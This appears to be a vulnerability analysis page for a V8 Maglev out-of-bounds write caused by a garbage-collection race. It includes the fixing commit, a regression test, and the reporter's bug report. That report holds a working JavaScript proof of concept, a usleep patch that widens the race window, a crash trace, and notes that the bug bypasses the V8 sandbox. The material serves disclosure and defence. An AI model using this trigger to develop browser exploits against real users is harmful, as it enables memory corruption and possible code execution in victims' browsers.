Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds write in V8
DescriptionOut of bounds write in V8
ComponentV8
Sub-componentMaglev
Bug ClassOOB
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Mostly restates the commit message. It leaves out that duplicate/stale IDs could also misattribute deopt literals (type confusion on deopt). Narrow GC/concurrent-compile race lowers reliability. The HeapObjectRef path skips canonicalization (not discussed). Diff truncated at header.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker508811474
Fix commit00f6ecd8a7cc (v8/v8) +98/-23
CWECWE-787 (Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited303f06e3
Reported2026-05-02 · bounty $500 (per vendor advisory)
Fix landed2026-05-05 (public git)
Disclosed2026-05-27
Patch gap22 days — fix public in source before the advisory

Background

Maglev deoptimization literals
objects referenced by deopt metadata, stored in a DeoptimizationLiteralArray (and a ProtectedDeoptimizationLiteralArray) and referenced from frame translations by an integer index.
`IdentityMap`
a pointer-keyed hash map (deopt_literals_, protected_deopt_literals_) that Maglev used to deduplicate literals and to assign each one an ID equal to map.size() - 1 at insertion time.
`ThinString` shortcutting during concurrent GC
a GC operation that replaces a ThinString with its target, which can make two previously distinct heap pointers become equal, so an IdentityMap keyed on those pointers can rehash and shrink.
`CanonicalPersistentHandle` / `CanonicalHandlesMap`
Maglev’s broker facility for obtaining a stable persistent handle for a heap object, used by the fix to store literals safely in a vector.

Root Cause Analysis

Maglev assigned each deopt literal an ID from the live IdentityMap size: *res.entry = deopt_literals_->size() - 1 (and the protected variant), and later allocated the DeoptimizationLiteralArray sized to that same size(), filling it by iterating the map. Because the IdentityMap is keyed by raw object pointer, a concurrent GC performing ThinString shortcutting could merge two distinct string keys into one, causing the map to rehash and shrink between ID assignment and array population. That broke the invariant that every assigned ID is unique and strictly less than the final array length: IDs became corrupted/duplicated and the array was allocated too small, so raw_literals->set(id, ...) wrote past the end — an out-of-bounds write.

The fix decouples ID assignment and storage from the mutable map: it pairs each IdentityMap with an insertion-ordered ZoneVector (deopt_literals_vector_, protected_deopt_literals_vector_), assigns IDs from the vector’s monotonically growing size, canonicalizes each handle via CanonicalPersistentHandle, and both sizes and populates the arrays from the vectors — quantities a concurrent GC cannot shrink.

Key insight
The core mistake was deriving stable literal IDs and array sizes from a GC-mutable pointer-keyed IdentityMap whose entries could merge and shrink during concurrent compilation; the fix moves both the counting and the array population to append-only ZoneVectors of canonical handles, so IDs and array length stay consistent.

Attack Path

  1. Create distinct strings that can be merged allocate several separate (e.g. internalizable) strings that Maglev will register as separate deopt literals but that GC can later shortcut/merge (the PoC internalizes four equal SeqStrings used as property keys).
  2. Compile the function with concurrent Maglev %OptimizeMaglevOnNextCall(opt, "concurrent") runs MaglevFrameTranslationBuilder, which inserts the literals into the IdentityMap and assigns IDs from map.size() - 1.
  3. Race a major GC into the window a randomized delay followed by gc({type:"major"}) triggers ThinString shortcutting concurrently, merging keys and shrinking the IdentityMap between ID assignment and array allocation/population.
  4. Trigger the out-of-bounds write PopulateDeoptimizationData/array population then calls raw_literals->set(id, ...) with an ID that exceeds the now-undersized DeoptimizationLiteralArray, writing out of bounds (further read/write primitive or escalation is (inferred); the patch shows only the OOB set).

Impact Assessment

An attacker running JavaScript in the renderer that induces concurrent Maglev compilation while forcing a GC that merges string pointers can cause an out-of-bounds write into (past) a DeoptimizationLiteralArray on the V8 heap. The advisory classifies this as an out-of-bounds write in V8; escalation to a controlled read/write primitive or code execution is (inferred) and not demonstrated by the diff, and no exploited-in-the-wild status is stated. Preconditions are concurrent Maglev tier-up and a concurrent GC hitting the narrow race window.

Changed Functions

FunctionChangeNotes
object_ids_
src/maglev/maglev-code-generator.cc
modified
if
src/maglev/maglev-code-generator.cc
modified
for
src/maglev/maglev-code-generator.cc
modified

Files Changed

  • src/maglev/maglev-code-generator.cc
  • src/maglev/maglev-code-generator.h

Audit Directions

  • Sizes/IDs derived from GC-mutable containers
    audit any compiler code that assigns indices or allocates arrays from IdentityMap::size() (or other pointer-keyed structures) that a concurrent GC can rehash/shrink; prefer append-only storage.
  • Concurrent-compilation vs. GC invariants
    review Maglev/Turbofan data captured on a background thread and consumed later, checking whether ThinString shortcutting or object merging can invalidate cached counts, IDs, or iteration order.
  • Array allocation and population from different sources
    flag patterns where an array’s length and its fill loop read from two structures that can diverge (map vs. vector, count captured earlier vs. later), which permits OOB set.
From 00f6ecd8a7cca6911789a11b7a7b01aaf41f925b Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Tue, 05 May 2026 12:38:04 +0200
Subject: [PATCH] [maglev] Fix deopt literals IdentityMap race during GC

Maglev used an IdentityMap to store deoptimization literals, assigning
IDs based on the map's size. During concurrent GC, ThinString
shortcutting could merge previously distinct string pointers, causing
the map to rehash and shrink. This led to corrupted IDs and subsequent
out-of-bounds writes in DeoptimizationLiteralArray.

This CL implements an optimized hybrid approach:
1. Pair the IdentityMap cache with ZoneVectors to preserve original
   insertion order.
2. Populate the DeoptimizationLiteralArray from the vectors.
3. Safely canonicalize vector handles using Maglev's persistent
   CanonicalHandlesMap.
4. Optimize compiler::Ref overloads to bypass redundant lookups.

We also improve V8's runtime testing infrastructure by fixing
OptimizeMaglevOnNextCall's registration in runtime.h to support
variable arguments, enabling native concurrent Maglev testing in JS.

A robust randomized concurrent regression test is added to verify.

TAG=agy
CONV=8a5b0da0-ce00-46ee-83f5-9a341372b6f7

Fixed: 508811474
Change-Id: I69bffdbe6736552e273480c8cf23de25af112739
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7816278
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Reviewed-by: Patrick Thier <pthier@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Commit-Queue: Patrick Thier <pthier@chromium.org>
Cr-Commit-Position: refs/heads/main@{#107059}
---

diff --git a/src/maglev/maglev-code-generator.cc b/src/maglev/maglev-code-generator.cc
index 0db6476..f7fa432 100644
--- a/src/maglev/maglev-code-generator.cc
+++ b/src/maglev/maglev-code-generator.cc
@@ -1207,12 +1207,17 @@
       LocalIsolate* local_isolate, MaglevAssembler* masm,
       FrameTranslationBuilder* translation_array_builder,
       IdentityMap<int, base::DefaultAllocationPolicy>* protected_deopt_literals,
-      IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals)
+      IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals,
+      ZoneVector<IndirectHandle<TrustedObject>>*
+          protected_deopt_literals_vector,
+      ZoneVector<IndirectHandle<Object>>* deopt_literals_vector)
       : local_isolate_(local_isolate),
         masm_(masm),
         translation_array_builder_(translation_array_builder),
         protected_deopt_literals_(protected_deopt_literals),
         deopt_literals_(deopt_literals),
+        protected_deopt_literals_vector_(protected_deopt_literals_vector),
+        deopt_literals_vector_(deopt_literals_vector),
         object_ids_(10) {}
 
   void BuildEagerDeopt(EagerDeoptInfo* deopt_info) {
@@ -1713,7 +1718,14 @@
         protected_deopt_literals_->FindOrInsert(obj);
     if (!res.already_exists) {
       DCHECK_EQ(0, *res.entry);
-      *res.entry = protected_deopt_literals_->size() - 1;
+      IndirectHandle<TrustedObject> canonical =
+          masm_->code_gen_state()
+              ->compilation_info()
+              ->broker()
+              ->CanonicalPersistentHandle(obj);
+      protected_deopt_literals_vector_->push_back(canonical);
+      *res.entry =
+          static_cast<int>(protected_deopt_literals_vector_->size() - 1);
     }
     return *res.entry;
   }
@@ -1722,13 +1734,25 @@
     IdentityMapFindResult<int> res = deopt_literals_->FindOrInsert(obj);
     if (!res.already_exists) {
       DCHECK_EQ(0, *res.entry);
-      *res.entry = deopt_literals_->size() - 1;
+      IndirectHandle<Object> canonical = masm_->code_gen_state()
+                                             ->compilation_info()
+                                             ->broker()
+                                             ->CanonicalPersistentHandle(obj);
+      deopt_literals_vector_->push_back(canonical);
+      *res.entry = static_cast<int>(deopt_literals_vector_->size() - 1);
     }
     return *res.entry;
   }
 
   int GetDeoptLiteral(compiler::HeapObjectRef ref) {
-    return GetDeoptLiteral(*ref.object());
+    IdentityMapFindResult<int> res =
+        deopt_literals_->FindOrInsert(*ref.object());
+    if (!res.already_exists) {
+      DCHECK_EQ(0, *res.entry);
+      deopt_literals_vector_->push_back(ref.object());
+      *res.entry = static_cast<int>(deopt_literals_vector_->size() - 1);
+    }
+    return *res.entry;
   }
 
   LocalIsolate* local_isolate_;
@@ -1736,6 +1760,8 @@
   FrameTranslationBuilder* translation_array_builder_;
   IdentityMap<int, base::DefaultAllocationPolicy>* protected_deopt_literals_;
   IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals_;
+  ZoneVector<IndirectHandle<TrustedObject>>* protected_deopt_literals_vector_;
+  ZoneVector<IndirectHandle<Object>>* deopt_literals_vector_;
 
   static const int kNotDuplicated = -1;
   std::vector<intptr_t> object_ids_;
@@ -1758,6 +1784,8 @@
       graph_(graph),
       protected_deopt_literals_(isolate->heap()->heap()),
       deopt_literals_(isolate->heap()->heap()),
+      protected_deopt_literals_vector_(compilation_info->zone()),
+      deopt_literals_vector_(compilation_info->zone()),
       retained_maps_(isolate->heap()),
       is_context_specialized_(
           compilation_info->specialize_to_function_context()),
@@ -1837,17 +1865,19 @@
 void MaglevCodeGenerator::RecordInlinedFunctions() {
   // The inlined functions should be the first literals.
   DCHECK_EQ(0u, deopt_literals_.size());
+  DCHECK_EQ(0u, deopt_literals_vector_.size());
   for (OptimizedCompilationInfo::InlinedFunctionHolder& inlined :
        graph_->inlined_functions()) {
     IdentityMapFindResult<int> res =
         deopt_literals_.FindOrInsert(inlined.shared_info);
     if (!res.already_exists) {
       DCHECK_EQ(0, *res.entry);
-      *res.entry = deopt_literals_.size() - 1;
+      deopt_literals_vector_.push_back(inlined.shared_info);
+      *res.entry = static_cast<int>(deopt_literals_vector_.size() - 1);
     }
     inlined.RegisterInlinedFunctionId(*res.entry);
   }
-  inlined_function_count_ = static_cast<int>(deopt_literals_.size());
+  inlined_function_count_ = static_cast<int>(deopt_literals_vector_.size());
 }
 
 void MaglevCodeGenerator::EmitDeferredCode() {
@@ -1872,7 +1902,8 @@
 
   MaglevFrameTranslationBuilder translation_builder(
       local_isolate_, &masm_, &frame_translation_builder_,
-      &protected_deopt_literals_, &deopt_literals_);
+      &protected_deopt_literals_, &deopt_literals_,
+      &protected_deopt_literals_vector_, &deopt_literals_vector_);
 
   // Deoptimization exits must be as small as possible, since their count grows
   // with function size. These labels are an optimization which extracts the
@@ -2098,10 +2129,10 @@
       static_cast<uint32_t>(graph_->inlined_functions().size());
   DirectHandle<ProtectedDeoptimizationLiteralArray> protected_literals =
       local_isolate->factory()->NewProtectedFixedArray(
-          static_cast<uint32_t>(protected_deopt_literals_.size()));
+          static_cast<uint32_t>(protected_deopt_literals_vector_.size()));
   DirectHandle<DeoptimizationLiteralArray> literals =
       local_isolate->factory()->NewDeoptimizationLiteralArray(
-          static_cast<uint32_t>(deopt_literals_.size()));
+          static_cast<uint32_t>(deopt_literals_vector_.size()));
   DirectHandle<TrustedPodArray<InliningPosition>> inlining_positions =
       TrustedPodArray<InliningPosition>::New(local_isolate,
                                              inlined_functions_size);
@@ -2110,22 +2141,14 @@
 
   Tagged<ProtectedDeoptimizationLiteralArray> raw_protected_literals =
       *protected_literals;
-  {
-    IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(
-        &protected_deopt_literals_);
-    for (auto it = iterate.begin(); it != iterate.end(); ++it) {
-      raw_protected_literals->set(*it.entry(),
-                                  TrustedCast<TrustedObject>(it.key()));
-    }
+  for (size_t i = 0; i < protected_deopt_literals_vector_.size(); ++i) {
+    raw_protected_literals->set(static_cast<int>(i),
+                                *protected_deopt_literals_vector_[i]);
   }
 
   Tagged<DeoptimizationLiteralArray> raw_literals = *literals;
-  {
-    IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(
-        &deopt_literals_);
-    for (auto it = iterate.begin(); it != iterate.end(); ++it) {
-      raw_literals->set(*it.entry(), it.key());
-    }
+  for (size_t i = 0; i < deopt_literals_vector_.size(); ++i) {
+    raw_literals->set(static_cast<int>(i), *deopt_literals_vector_[i]);
   }
 
   for (uint32_t i = 0; i < inlined_functions_size; i++) {
diff --git a/src/maglev/maglev-code-generator.h b/src/maglev/maglev-code-generator.h
index db7bca8..c0c3855 100644
--- a/src/maglev/maglev-code-generator.h
+++ b/src/maglev/maglev-code-generator.h
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/maglev-508811474.js b/test/mjsunit/maglev/maglev-508811474.js
new file mode 100644
index 0000000..16d240d
--- /dev/null
+++ b/test/mjsunit/maglev/maglev-508811474.js
@@ -0,0 +1,47 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --expose-gc --allow-natives-syntax
+
+function makeSeqString(bigInt) {
+  return bigInt.toString();
+}
+
+let x = 2512n;
+let s0 = makeSeqString(x);
+let s1 = makeSeqString(x);
+let s2 = makeSeqString(x);
+let s3 = makeSeqString(x);
+
+%InternalizeString(s0);
+%InternalizeString(s1);
+%InternalizeString(s2);
+%InternalizeString(s3);
+
+function opt(x) {
+  let o = {};
+  o[s0] = -x;
+  o[s1] = -x;
+  o[s2] = -x;
+  o[s3] = -x;
+  return o;
+}
+
+%PrepareFunctionForOptimization(opt);
+opt(1234n);
+%OptimizeMaglevOnNextCall(opt, "concurrent");
+opt(1234n);
+
+// Use a randomized delay (1-30ms) to scan the timing spectrum.
+// This makes the test highly robust and machine-independent, as it has a
+// high chance of hitting the microscopic race window on any CPU.
+// This delay is intentionally randomized to maximize the chance of flakily
+// catching issues on different machines and CI buildbots.
+const delay = Math.floor(Math.random() * 30) + 1;
+print("Using random delay: " + delay + " ms");
+
+const start = performance.now();
+while (performance.now() - start < delay) {}
+
+gc({type: "major"});
Loading diff…

Original Bug Report

reported by hu...@gmail.com

Race Condition Between Maglev IdentityMap and Mark-Compact GC ThinString Shortcutting Leads to OOB Write in Trusted Space

DETAILS

Although this is a Maglev vulnerability, it is not an optimization logic bug. Instead, it is a race condition between IdentityMap and GC in Maglev.

Below are the details.

1. IdentityMap

IdentityMap implements a HeapObject Ptr => uintptr_t mapping. When GC relocates objects, it iterates through the pointers stored in keys_ and sets invalidated_ = true, so that the next lookup or insertion triggers a Rehash() operation.

class V8_EXPORT_PRIVATE IdentityMapBase : public GCRootsProvider {
  ...
  base::hash<uintptr_t> hasher_;
  Heap* heap_;
  bool invalidated_;    // Set to true by GC; once true, Rehash() is required
  int size_;
  int capacity_;
  int mask_;
  Address* keys_;       // Array storing keys (i.e., HeapObject pointers)
  uintptr_t* values_;   // Array storing values (must be castable to uintptr_t)
  bool is_iterable_;
};

During Rehash(), all misplaced keys are collected first, then InsertKey() is called to re-insert them. If InsertKey() encounters a duplicate key, the insertion is skipped.

Therefore, if duplicate pointers appear in IdentityMapBase::keys_ after GC, the duplicates will be discarded after Rehash().

void IdentityMapBase::Rehash() {
  // Cannot Rehash during MarkCompact or while iterable
  DCHECK_NE(heap_->gc_state(), Heap::MARK_COMPACT);
  CHECK(!is_iterable());  // Can't rehash while iterating.

  // Mark as valid
  invalidated_ = false;

  // Save key-value pairs that need to be relocated
  std::vector<std::pair<Address, uintptr_t>> reinsert;

  // Find keys with incorrect hash positions and collect them for relocation
  int last_empty = -1;
  Address not_mapped = ReadOnlyRoots(heap_).not_mapped_symbol().ptr();
  for (int i = 0; i < capacity_; i++) {    // Iterate all entries
    if (keys_[i] == not_mapped) {    // Empty slot
      last_empty = i;
    } else {    // Non-empty slot
      // keys_[i] is the new object address; recompute correct position by hash
      int pos = Hash(keys_[i]) & mask_;
      if (pos <= last_empty || pos > i) {
        // Entries at wrong positions need to be moved
        reinsert.push_back(std::pair<Address, uintptr_t>(keys_[i], values_[i]));
        // Remove from keys_ and values_
        keys_[i] = not_mapped;
        values_[i] = 0;
        last_empty = i;
        // Decrement entry count
        size_--;
      }
    }
  }

  // Re-insert the misplaced key-value pairs
  for (auto pair : reinsert) {
    int index = InsertKey(pair.first, Hash(pair.first)).first;
    DCHECK_GE(index, 0);
    values_[index] = pair.second;
  }
}

2. Shortcut Strings

During Mark-Compact GC, there is a shortcut_strings_ optimization: if a slot holds a pointer to a ThinString object, it is replaced with the ThinString::actual pointer.

  inline bool TryEvacuateWithoutCopy(Tagged<HeapObject> object) {
    DCHECK(!is_incremental_marking_);

    if (!shortcut_strings_) return false;

    Tagged<Map> map = object->map();

    // Some objects can be evacuated without creating a copy.
    if (map->visitor_id() == kVisitThinString) {    // If it is a ThinString
      // Get the actual string that ThinString points to
      Tagged<HeapObject> actual = Cast<ThinString>(object)->unchecked_actual();
      // If actual also needs evacuation, skip the optimization
      if (MarkCompactCollector::IsOnEvacuationCandidate(actual)) return false;
      // Replace the ThinString pointer directly with the actual pointer
      object->set_map_word_forwarded(actual, kRelaxedStore);
      return true;
    }
    // TODO(mlippautz): Handle ConsString.

    return false;
  }

If an IdentityMap contains multiple ThinString objects whose actual pointers are identical, Mark-Compact GC will cause an unexpected side effect on the IdentityMap: after Rehash(), the size of the IdentityMap decreases, as entries with now-identical keys are merged.

3. Maglev Code Gen

Next, I will explain how the above side effect leads to a crash.

MaglevFrameTranslationBuilder is responsible for describing how to reconstruct an Ignition frame at a deoptimization point. It records information such as: “Ignition register r_x should be set to Maglev value node n_y.”

If the Maglev value node is a constant node, GetDeoptLiteral() is called to record the constant in deopt_literals_ and assign an ID. This ID can later be used to retrieve the pointer.

class MaglevFrameTranslationBuilder {
  int GetDeoptLiteral(Tagged<Object> obj) {
    IdentityMapFindResult<int> res = deopt_literals_->FindOrInsert(obj);
    if (!res.already_exists) {
      DCHECK_EQ(0, *res.entry);
      *res.entry = deopt_literals_->size() - 1;
    }
    return *res.entry;
  }

  IdentityMap<int, base::DefaultAllocationPolicy>* deopt_literals_;
  ...
}

Here is an example: GenericNegate is a deoptimization point, where r2:n19:[constant:v-1] indicates that node n19 should be written to register r2 upon deoptimization. n19 is a constant node, so GetDeoptLiteral(0x09b80104c641) is called to record the pointer in deopt_literals_.

    4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1, live range: [4-24]
      
    23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
                    input locations: 0x3a400f5c668 (6 slots)
                   -> lazy @9 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t], r2:n19:[constant:v-1]} (addr:0x3a400f5a1a8)
            24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], v4/n19:[rcx|R|t], v23/n20:[rax|R|t], v3/n4:[rsi|R|t]] -> [rax|R|t]
                    input locations: 0x3a400f5c6c8 (5 slots)
                    -> lazy @11 : {<closure>:n3:[constant:v-1], <this>:n1:[stack:-6|t], a0:n2:[stack:-7|t], <context>:n4:[constant:v-1], r0:n11:[stack:0|t]} (addr:0x3a400f5a390)

The ID assignment algorithm in deopt_literals_ is *res.entry = deopt_literals_->size() - 1. This algorithm is only correct under the assumption that deopt_literals_ never shrinks. Once deopt_literals_ contracts, some previously assigned IDs that exceed the new size will no longer map to valid entries.

This is exactly what happens in the PoC. After each BuildLazyDeopt() processes a deoptimization point, heap()->Safepoint() is called to enter a safe point. At each safe point, the main thread may execute a Mark-Compact GC, which can cause deopt_literals_ to shrink.

bool MaglevCodeGenerator::EmitDeopts() {
  ...
  __ RecordComment("-- Lazy deopts");
  int last_updated_safepoint = 0;
  for (LazyDeoptInfo* deopt_info : code_gen_state_.lazy_deopts()) {
    local_isolate_->heap()->Safepoint();
    translation_builder.BuildLazyDeopt(deopt_info);
    ...
  }
  ...
}

Finally, execution reaches MaglevCodeGenerator::GenerateDeoptimizationData(). As shown below, literals is created with size deopt_literals_.size(), and the stored IDs are used as indices when writing into it. When deopt_literals_ has shrunk, size <= max ID, resulting in an out-of-bounds write.

Handle<DeoptimizationData> MaglevCodeGenerator::GenerateDeoptimizationData(
    LocalIsolate* local_isolate) {
  ...

  // Create the literal array with size deopt_literals_.size()
  DirectHandle<DeoptimizationLiteralArray> literals =
      local_isolate->factory()->NewDeoptimizationLiteralArray( 
          static_cast<uint32_t>(deopt_literals_.size()));
  ...

  // Write into the literal array
  Tagged<DeoptimizationLiteralArray> raw_literals = *literals;
  {
    // Copy deopt_literals_ into raw_literals
    IdentityMap<int, base::DefaultAllocationPolicy>::IteratableScope iterate(
        &deopt_literals_);
    for (auto it = iterate.begin(); it != iterate.end(); ++it) {
      raw_literals->set(*it.entry(), it.key());    // <=== Crash here
    }
  }
  ...

  return data;
}

4. Summary

The overall timing diagram when the crash is triggered is as follows:

  Maglev Background Thread                    GC Main Thread
         |                                         |
   1. GetDeoptLiteral("2512")*4                    |
         |  4 ThinStrings "2512" inserted          |
         |  each has a different address           |
         |  assigned idx = 5,6,7,8                 |
         |  deopt_literals_.size = 9               |
         |                                         |
  -------+------- safepoint pause -----------------+---
         |                                         |
         |                                Mark-Compact GC 
         |                           2. TryEvacuateWithoutCopy()
         |                                         |    Shortcut Evacuate ThinStrings:
         |                                         |    no copy, forward to actual
         |                                         |    4 different addrs -> same actual addr
         |                                         |
         |                           3. deopt_literals_.Iterate(): 
         |                                         |    update map keys
         |                                         |    4 keys -> same addr
         |                                         |
         |                           4. deopt_literals_.GCEpilogueInSafepoint():
         |                                         |    invalidated_ = true
         |                                         |
  -------+------- safepoint resume ----------------+---
         |                                         |
    5. FindOrInsert()                              |
         |  invalidated_=true => Rehash()          |
         |  4 duplicate keys merged into 1         |
         |  deopt_literals_ size: 9 => 6           |
         |                                         |
6. GenerateDeoptimizationData():                   |
         |  6.1 allocate `literals`                |
         |  NewDeoptimizationLiteralArray(         |
         |      deopt_literals_.size()             |
         |  )                                      |
         |  literals.size = 6                      |
         |                                         |
         |   6.2 copy                              |
         |  for (it : deopt_literals_) {           |
         |    raw_literals->set(                   |
         |        *it.entry(),  // idx             |
         |        it.key()      // object ptr      |
         |    );                                   |
         |  }                                      |
         |    set(5, ...) ok                       |
         |    set(8, ...) idx 8 >= len 6 -> OOB!   |
         |                                         |

This is an extremely subtle vulnerability. The two sides of the race condition:

  • Shortcut Strings was introduced on 11/30/2017 in commit 9fbbe2a4743c11c2df7aca3425ed419aa4fb0dcc.
  • IdentityMap<int, base::DefaultAllocationPolicy> deopt_literals_; was introduced on 10/19/2022 in commit 3a1ca218b893dcdcce19f2536dc11c51751863a7.

This means the vulnerability has existed since at least 2022.

This vulnerability provides two powerful primitives:

  1. Out-of-bounds write in Trusted Space: raw_literals is allocated in Trusted Space, so this OOB write can directly bypass the V8 heap sandbox.
  2. Incorrect deoptimization: during deoptimization, the runtime accesses raw_literals to retrieve the object corresponding to an ID. This causes an OOB read of raw_literals, resulting in deoptimization with an incorrect object.

REPRODUCE

poc.js:

function makeSeqString(bigInt) {
    /*
        BigInt::ToString() allocates a new SeqString every time
        without any caching or deduplication, so multiple SeqString
        objects representing the same string content are created.
    */
    return bigInt.toString();
}

// Create SeqString objects with identical content.
// Note: s0, s1, ... point to different SeqString objects.
let x = 2512n;
let s0 = makeSeqString(x);
let s1 = makeSeqString(x);
let s2 = makeSeqString(x);
let s3 = makeSeqString(x);

// Internalize strings to produce multiple ThinString objects
// that share the same actual pointer.
// In a real exploit, this can be achieved via
// `let o = {}; o[str] = 0;` which enters Runtime_DefineKeyedOwnIC_Miss().
%InternalizeString(s0);
%InternalizeString(s1);
%InternalizeString(s2);
%InternalizeString(s3);

function opt(x) {
    let o = {};
    /*
        This statement compiles to two bytecodes:
            9 : 5d 00             Negate FBV[0]
            11 : 3c f9 f7 01      SetKeyedProperty r0, r2, FBV[1]
        
        Maglev optimization generates the following two nodes:
            23/20: GenericNegate [v11/n2:[rax|R|t]] -> [rax|R|t], live range: [23-24]
                    input locations: 0x3a400f5c668 (6 slots)
                   -> lazy @9 : {<closure>:n3:[constant:v-1], ..., r2:n19:[constant:v-1]}
            24/21: CallBuiltin(KeyedStoreIC_Megamorphic) [v15/n11:[rdx|R|t], ...]
                    -> lazy @11 : {<closure>:n3:[constant:v-1], ..., r0:n11:[stack:0|t]}

        If GenericNegate triggers a lazy deopt, the subsequent
        SetKeyedProperty still needs to access r2. Therefore,
        the deopt frame must restore value node `n19:[constant:v-1]`
        into Ignition register r2.

        n19 is a constant node pointing to a ThinString object:
            4/19: Constant(0x09b80104c641 <String[4]: >"2512">) -> v-1
        So BuildDeoptFrameSingleValue() calls
        `GetDeoptLiteral(*value->Reify(local_isolate_))` to add it
        to `deopt_literals_`.
    */
    o[s0] = -x;

    // Similarly, these insert s1, s2, s3 ThinString pointers into deopt_literals_
    o[s1] = -x;
    o[s2] = -x;
    o[s3] = -x;
    // At this point, deopt_literals_ contains s0, s1, s2, s3:
    // four ThinString objects that share the same actual pointer.
    return o;
}

/* 
    Trigger concurrent Maglev optimization via jit-fuzzing + loop.
    MaglevCompiler::Compile() will execute on a background thread.
*/
for(let i=0; i<40; i++) {
    opt(1234n);
}

// Trigger GC on the main thread to race with the background thread
gc({type: "major"});

V8 must be built with a debug configuration. Execute V8 as follows:

./d8 \
    --expose-gc \
    --allow-natives-syntax \
    --no-lazy-feedback-allocation \
    --jit-fuzzing \
    ./poc.js

This is a race condition vulnerability. When executed directly, the probability of winning the race is less than 1%. To increase the crash probability, V8 needs to be patched by adding a usleep call in the GetDeoptLiteral(Tagged<Object> obj) function to widen the race window. In practice, this raises the success rate to approximately 20%(I suggest having an LLM generate a script to run this PoC in parallel using multiple threads.).

The PoC can be further refined to increase the race success rate, for example:

  1. Having multiple background threads run Maglev optimization jobs concurrently.
  2. Adding more deoptimization points to trigger additional Safepoint() + BuildLazyDeopt() cycles, thereby widening the race window.

However, due to limited time and resources, I have only been able to demonstrate the existence of this vulnerability and have not pursued further exploitation.

diff --git a/src/maglev/maglev-code-generator.cc b/src/maglev/maglev-code-generator.cc
index ebcf443b845..9383a3fdaf0 100644
--- a/src/maglev/maglev-code-generator.cc
+++ b/src/maglev/maglev-code-generator.cc
@@ -6,6 +6,7 @@
 
 #include <algorithm>
 #include <fstream>
+#include <unistd.h>
 
 #include "absl/container/flat_hash_map.h"
 #include "src/base/hashmap.h"
@@ -1724,6 +1725,7 @@ class MaglevFrameTranslationBuilder {
       DCHECK_EQ(0, *res.entry);
       *res.entry = deopt_literals_->size() - 1;
     }
+    usleep(500);
     return *res.entry;
   }

This will result in the following crash:



#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 160
# Debug check failed: IsInBounds(index).
#
#
#
#FailureMessage Object: 0x7fffee2ebab8
==== C stack trace ===============================

   ./d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fcec09]
   ./d8(+0x10a75aed) [0x555565fc9aed]
   ./d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fa4464]
   ./d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fa4c19]
   ./d8(+0x10a504dc) [0x555565fa44dc]
   ./d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fa4d1d]
   ./d8(v8::internal::TaggedArrayBase<v8::internal::TrustedWeakFixedArray, v8::internal::TrustedWeakFixedArrayShape, v8::internal::TrustedObject>::set(unsigned int, v8::internal::Tagged<v8::internal::Union<v8::internal::Smi, v8::internal::HeapObject, v8::internal::Weak<v8::internal::HeapObject>>>, v8::internal::WriteBarrierMode)+0x81) [0x555560e6cbb1]
   ./d8(v8::internal::DeoptimizationLiteralArray::set(int, v8::internal::Tagged<v8::internal::Object>)+0x1d5) [0x555560e61305]
   ./d8(v8::internal::maglev::MaglevCodeGenerator::GenerateDeoptimizationData(v8::internal::LocalIsolate*)+0x79c) [0x555560d24e8c]
   ./d8(v8::internal::maglev::MaglevCodeGenerator::BuildCodeObject(v8::internal::LocalIsolate*)+0xb4) [0x555560d240f4]
   ./d8(v8::internal::maglev::MaglevCodeGenerator::Assemble()+0x78) [0x555560d23bb8]
   ./d8(v8::internal::maglev::MaglevCompiler::Compile(v8::internal::LocalIsolate*, v8::internal::maglev::MaglevCompilationInfo*)+0xa89) [0x555560e8d139]
   ./d8(v8::internal::maglev::MaglevCompilationJob::ExecuteJobImpl(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x69) [0x5555610e1759]
   ./d8(v8::internal::OptimizedCompilationJob::ExecuteJob(v8::internal::RuntimeCallStats*, v8::internal::LocalIsolate*)+0x12d) [0x55555f6906cd]
   ./d8(v8::internal::maglev::MaglevConcurrentDispatcher::JobTask::Run(v8::JobDelegate*)+0x1ec) [0x5555610e394c]
   ./d8(v8::platform::DefaultJobWorker::Run()+0xbe) [0x555565fd166e]
   ./d8(v8::platform::DefaultWorkerThreadsTaskRunner::WorkerThread::Run()+0xac) [0x555565fe066c]
   ./d8(v8::base::Thread::Dispatch()+0x16) [0x55555f276e06]
   ./d8(v8::base::Thread::NotifyStartedAndDispatch()+0x32) [0x55555f276d72]
   ./d8(+0x10a6f1b0) [0x555565fc31b0]
    /lib/x86_64-linux-gnu/libpthread.so.0(+0x8609) [0x7ffff7f8b609]
    /lib/x86_64-linux-gnu/libc.so.6(clone+0x43) [0x7ffff7d46353]

CREDIT INFORMATION

